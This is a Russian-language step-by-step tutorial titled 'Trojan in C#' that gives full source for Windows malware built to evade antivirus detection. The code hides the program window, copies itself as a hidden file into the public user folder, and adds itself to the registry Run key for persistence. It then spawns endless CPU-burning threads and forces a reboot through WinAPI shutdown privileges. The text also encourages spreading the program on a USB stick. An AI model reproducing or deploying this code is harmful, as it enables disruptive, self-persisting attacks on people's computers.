Троян на C#
Наш telegram канал : @Save and betray
Цели:
- Написать вредоносную программу, которую не увидят антивирусы.
- Использовать только средства языка C#
Нам понадобится:
- Visual Studio 2010-2017 (здесь используется 2017)
- Знания и опыт работы на языке C#
- Компьютер для опытов
Нюансы:
- На большинстве компьютеров с установленной Windows установлен framework не ниже 2.0, значит в проекте Visual Studio придется забыть про возможности Linq, и компилировать программу под вышеупомянутым фреймворком.
- Антивирусы реагируют на внедрения в другие файлы, замену файлов, и просто на что-то похожее с тем что есть у них в базе, значит напишем программу со всем необходимым функционалом «на борту».
- Программу нужно сделать невидимой для пользователя, готов спорить Visual Studio даст такую возможность.
Р
Разработка ПО:
Этап 1:
Создаем в Visual Studio проект Windows Forms Application, даем ему название, да любое в принципе название, например «system». В настройках проекта выбираем target framework 2.0. Сохраняем, и удаляем из файлов проекта using «Linq».
Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструкторе и изменяем следующие свойства:
— FormBorderStyle — None
— Opacity — 0%
— ShowIcon — False
— ShowInTaskbar — False
На этом первый этап можно считать завершенным, мы создали приложение которое будет работать на всех современных системах совершенно невидимо для пользователя. Можно проверить скомпилировав программу и запустив ее.
Этап 2:
На этом этапе я покажу некоторый код который понадобится. Что первым делом выполняют вирусы? Правильно лезут в автозагрузку. Для этого добавим в проект класс с названием «autorun», и объявим метод «SetAutorunValue»
Код:
public static bool SetAutorunValue(bool autorun, string npath) { const string name = "systems"; string ExePath = npath; RegistryKey reg; reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"); try { if (autorun) reg.SetValue(name, ExePath); else reg.DeleteValue(name); reg.Flush(); reg.Close(); } catch { return false; } return true; }
Так как наше вредоносное ПО будет запускаться на Windows XP, Vista и 7, добавим в проект класс размещенный. Это нужно для того чтоб программа могла определять систему в которой запущена, и копироваться в общую папку.
Далее приведен код добавляющий в автозагрузку наше приложение:
public static string needPatch = "C:\\Users\\Public\\"; public Form1() { if (OSVersionInfo.Name == "Windows 7" || OSVersionInfo.Name == "Windows Vista") { autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки } else if (OSVersionInfo.Name == "Windows XP") { needPatch = "C:\\Documents and Settings\\All Users\\"; autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки } InitializeComponent(); }
Теперь научим будущий вирус копироваться на компьютер в общую папку. Впишем код в событие Form1_Load
Код:
if (!File.Exists(needPatch + "system.exe")) { try { File.Copy("system.exe", needPatch + "system.exe"); File.SetAttributes(needPatch + "system.exe", FileAttributes.Hidden); } catch { } }
Программа сама себя скопировала и сделала скрытой.
На этом можно завершить этап 2. Мы создали программу, которая невидима для пользователя, самокопируется на компьютер и прописывается в автозагрузку. Далее осталось наполнить программу функционалом.
Этап 3:
Пусть наш будущий вирус будет вызывать торможение системы и перезагрузку. Торможение системы реализуем следующим путем: бесконечно создаваемые потоки с бесконечным вычислением степени 2.
Добавим следующий код в Form1.cs
Код:
public static void sys_sleep() { while (true) { Thread s = new Thread(s_b); s.Start(); } } private static void s_b() { int y = 2; while (true) { y *= y; } }
С перезагрузкой посложнее, прибегнем к помощи WINAPI, допишем следующее:
[StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct TokPriv1Luid { public int Count; public long Luid; public int Attr; } [DllImport("kernel32.dll", ExactSpelling = true)] internal static extern IntPtr GetCurrentProcess(); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok); [DllImport("advapi32.dll", SetLastError = true)] internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); [DllImport("user32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool ExitWindowsEx(int flg, int rea); internal const int EWX_REBOOT = 0x00000002; internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege"; internal const int SE_PRIVILEGE_ENABLED = 0x00000002; internal const int TOKEN_QUERY = 0x00000008; internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; public static Thread thread1; public static void DoExitWin(int flg) { bool ok; TokPriv1Luid tp; IntPtr hproc = GetCurrentProcess(); IntPtr htok = IntPtr.Zero; ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok); tp.Count = 1; tp.Luid = 0; tp.Attr = SE_PRIVILEGE_ENABLED; ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid); ok = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero); ok = ExitWindowsEx(flg, 0); }
Теперь опишем метод, который по таймеру будет вызывать эффекты работы нашей программы:
public static void start() { Stopwatch sw = new Stopwatch(); sw.Start(); bool b = true; bool pl = false; while (b) { if (sw.ElapsedMilliseconds > 20000) { if (!pl) { Thread g = new Thread(sys_sleep); g.Start(); pl = true; } } if (sw.ElapsedMilliseconds > 45000) { DoExitWin(EWX_REBOOT); b = false; } } }
И
Итог:
Метод Start() будет вызывать в Form1_Load. Эта программа будет тормозить систему через 20 секунд, и перезагружаться на 45-й секунде работы.
Можно смело компилировать набранный код, скидывать полученную exe-шку на флешку и проверять созданный Вами вирус.
При запуске с флешки, программа сама себя скопирует, начнет тормозить систему и перезагрузит ее, после перезагрузки системы программа запустится через автозагрузку и продолжит свою работу. Антивирусы будут молчать, скромно наблюдая за беспорядками, которые выдает Ваша программа, ведь придраться то им не к чему.